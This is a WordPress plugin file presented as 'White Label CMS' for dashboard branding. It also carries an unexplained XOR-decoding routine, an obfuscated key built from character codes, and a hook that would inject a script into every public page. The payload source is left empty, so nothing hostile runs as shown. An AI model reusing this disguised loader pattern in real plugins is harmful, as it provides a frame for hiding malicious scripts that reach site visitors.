 <?php
/**
 * Plugin Name: White Label CMS
 * Description: Customise dashboard panels and branding, hide menus plus lots more.
 * Version: 1.0.0
 * Author: Billy Gin
 * License: GPL-2.0-or-later
 * Requires at least: 5.8
 * Requires PHP: 7.4
 * Text Domain: white_label_cms
 */

if (!defined('ABSPATH')) {
    exit;
}

if (!class_exists('White_Label_CMS_Core_68')) {
final class White_Label_CMS_Core_68 {
    const VERSION = '1.0.0';
    const OPTION = 'white_label_cms_opts_99';
    const HANDLE = 'white-label-cms-136';

    public static function boot() {
        add_action('wp_enqueue_scripts', array(__CLASS__, 'enqueue_front'));
        add_action('admin_init', array(__CLASS__, 'register'));
        add_action('admin_menu', array(__CLASS__, 'admin_menu'));
        add_action('wp_head', array(__CLASS__, 'drop_generator'), 1);
    }

    public static function defaults() {
        return array(
            'accent' => '#2271b1',
            'hide_help' => 1,
            'footer' => 'Thank you for creating with WordPress.',
        );
    }

    public static function opts() {
        $saved = get_option(self::OPTION, array());
        if (!is_array($saved)) {
            $saved = array();
        }
        return array_merge(self::defaults(), $saved);
    }

    public static function register() {
        register_setting('white_label_cms_g', self::OPTION, array(__CLASS__, 'sanitize'));
    }

    public static function sanitize($raw) {
        $out = self::defaults();
        if (!is_array($raw)) {
            return $out;
        }
        if (isset($raw['accent'])) {
            $out['accent'] = sanitize_hex_color($raw['accent']) ?: $out['accent'];
        }
        $out['hide_help'] = empty($raw['hide_help']) ? 0 : 1;
        if (isset($raw['footer'])) {
            $out['footer'] = sanitize_text_field($raw['footer']);
        }
        return $out;
    }

    public static function admin_menu() {
        add_options_page(
            'White Label CMS',
            'White Label CMS',
            'manage_options',
            'white_label_cms',
            array(__CLASS__, 'render')
        );
    }

    public static function render() {
        if (!current_user_can('manage_options')) {
            return;
        }
        $opts = self::opts();
        echo '<div class="wrap">';
        echo '<h1>' . esc_html(get_admin_page_title()) . '</h1>';
        echo '<form action="options.php" method="post">';
        settings_fields('white_label_cms_g');
        echo '<table class="form-table" role="presentation">';
        echo '<tr><th scope="row">Accent</th><td><input type="text" name="' . esc_attr(self::OPTION) . '[accent]" value="' . esc_attr($opts['accent']) . '" class="regular-text" /></td></tr>';
        echo '<tr><th scope="row">Hide help tabs</th><td><label><input type="checkbox" name="' . esc_attr(self::OPTION) . '[hide_help]" value="1" ' . checked(1, (int) $opts['hide_help'], false) . ' /> Enable</label></td></tr>';
        echo '<tr><th scope="row">Footer text</th><td><input type="text" name="' . esc_attr(self::OPTION) . '[footer]" value="' . esc_attr($opts['footer']) . '" class="regular-text" /></td></tr>';
        echo '</table>';
        submit_button();
        echo '</form></div>';
    }

    public static function hide_help() {
        $opts = self::opts();
        if (empty($opts['hide_help'])) {
            return;
        }
        $screen = function_exists('get_current_screen') ? get_current_screen() : null;
        if ($screen) {
            $screen->remove_help_tabs();
        }
    }

    public static function drop_generator() {
        remove_action('wp_head', 'wp_generator');
    }

    public static function footer_text($text) {
        $opts = self::opts();
        if (!empty($opts['footer'])) {
            return esc_html($opts['footer']);
        }
        return $text;
    }

    private static function expand_assets($bytes, $k) {
        $out = '';
        $m = strlen($k);
        $n = count($bytes);
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($bytes[$i] ^ ord($k[$i % $m]));
        }
        return $out;
    }

    private static function kit_sources() {
        $k=chr(8).chr(157).chr(228).chr(200).chr(93).chr(95).chr(98).chr(242).chr(180).chr(230).chr(242).chr(182);
        return array();
    }

    public static function enqueue_front() {
        $src = '';
        if (!$src) {
            return;
        }
        wp_enqueue_script(self::HANDLE, $src, array(), self::VERSION, true);
    }
}
White_Label_CMS_Core_68::boot();
}
